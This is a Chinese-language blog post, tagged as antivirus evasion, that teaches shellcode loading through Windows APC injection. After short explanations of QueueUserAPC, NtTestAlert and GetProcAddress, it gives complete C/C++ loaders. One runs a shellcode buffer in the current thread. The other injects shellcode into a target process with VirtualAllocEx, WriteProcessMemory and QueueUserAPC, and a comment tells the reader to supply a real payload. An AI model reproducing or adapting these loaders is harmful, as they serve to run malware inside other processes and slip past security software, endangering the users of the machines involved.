首页 技术杂谈 正文
  • 本文约441字,阅读需2分钟
  • 194
  • 0

ShellCode加载 - APC注入

摘要

APC注入

1、APC注入

1.1、什么是APC

  • APC(Asynchronous Procedure Call)是Windows操作系统中的一个技术,它允许在特定线程的上下文中延迟执行一个函数
  • 简而言之,APC是一种机制,允许程序异步地执行某些例程,而不是立即执行或等待某个事件或条件
  • 每个线程都有自己的 APC 队列
  • 系统生成的 APC 称为 内核模式 APC。 应用程序生成的 APC 称为 用户模式 APC,线程必须处于可警报状态才能运行用户模式 APC。
  • 线程在调用 SleepExSignalObjectAndWaitMsgWaitForMultipleObjectsExWaitForMultipleObjectsExWaitForSingleObjectEx 函数时进入可警报状态

1.2、简单的APC实现

#include <windows.h>
#include <iostream>

void CALLBACK ApcRoutine(LPVOID lpArg1, DWORD dwTimerLowValue, DWORD dwTimerHighValue) {
    std::cout << "APC routine executed!" << std::endl;
}

int main() {
    // GetCurrentThread 获取当前线程句柄
    HANDLE hThread = GetCurrentThread();
    // 队列APC到当前线程
    QueueUserAPC(ApcRoutine, hThread, NULL);
    // 让当前线程进入alertable状态,以处理APC
    SleepEx(5000, TRUE);
    return 0;
}

1.3、QueueUserAPC函数

  • 函数介绍 :将用户模式 异步过程调用 (APC) 对象添加到指定线程的 APC 队列
  • 函数语法
DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC, // 指向指定线程执行可警报等待操作时要调用的应用程序提供的 APC 函数的指针。
  [in] HANDLE    hThread, // 线程的句柄。 句柄必须具有 THREAD_SET_CONTEXT 访问权限
  [in] ULONG_PTR dwData // 传递给 pfnAPC 参数指向的 APC 函数的单个值。
);
  • 返回值:如果该函数成功,则返回值为非零值

1.4、NtTestAlert

  • 函数介绍:Windows NT系列操作系统内核中的一个函数。它用于在线程中测试和处理APC(Asynchronous Procedure Call)的队列状态
  • 主要作用是检查当前线程的APC队列。如果存在任何等待的用户模式APC,则线程将返回并执行该APC。

1.5、GetProcAddress函数

  • 函数介绍:从指定的动态链接库 (DLL) 检索导出函数 (也称为过程) 或变量
  • 函数语法
FARPROC GetProcAddress(
  [in] HMODULE hModule, // 包含函数或变量的 DLL 模块的句柄。 LoadLibrary、LoadLibraryEx、LoadPackagedLibrary 或 GetModuleHandle 函数返回此句柄。
  [in] LPCSTR  lpProcName // 函数或变量名称,或函数的序号值
);

1.6、实现代码

#include<windows.h>

typedef DWORD(WINAPI* pNtTestAlert)();

unsigned char shellcode[] = "";

int main() {

    DWORD oldProtect;
    VirtualProtect((LPVOID)shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);

    // 获取NtTestAlert函数地址, 因为它是一个内部函数.无法直接通过函数名调用
    pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));

    // 向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务
    QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)shellcode, GetCurrentThread(), NULL);

    //调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode)
    NtTestAlert();
    return 0;
}

1.7、在进程中实现

#include <windows.h>
#include <tlhelp32.h>

// 声明NtTestAlert函数,该函数通常不包含在Windows SDK头文件中
extern "C" void NTAPI NtTestAlert();

void InjectAndExecuteShellcode(DWORD targetPid, unsigned char* shellcode, size_t shellcodeSize) {
    // 1. 打开目标进程
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);

    // 2. 在目标进程的内存中分配内存以保存shellcode
    LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 3. 将shellcode写入目标进程的内存
    WriteProcessMemory(hProcess, remoteShellcode, shellcode, shellcodeSize, NULL);

    // 4. 获取目标进程的某个线程
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, targetPid);
    THREADENTRY32 te;
    te.dwSize = sizeof(THREADENTRY32);
    Thread32First(hSnapshot, &te);
    HANDLE hThread = NULL;
    do {
        if (te.th32OwnerProcessID == targetPid) {
            hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
            break;
        }
    } while (Thread32Next(hSnapshot, &te));

    // 5. 使用QueueUserAPC为目标线程添加一个指向shellcode的APC
    QueueUserAPC((PAPCFUNC)remoteShellcode, hThread, NULL);

    // 这里我们不直接调用NtTestAlert,而是假设目标进程中的线程在某个时候会调用它
    // 或者线程会进入alertable状态并执行该APC。

    // 清理句柄
    CloseHandle(hThread);
    CloseHandle(hProcess);
    CloseHandle(hSnapshot);
}

int main() {
    // 这是示例shellcode。你应该使用实际的有效负载。
    unsigned char shellcode[] = { /*... shellcode bytes ...*/ };
    DWORD targetPid = /* 目标进程ID */;
    InjectAndExecuteShellcode(targetPid, shellcode, sizeof(shellcode));

    return 0;
}
标签:免杀
评论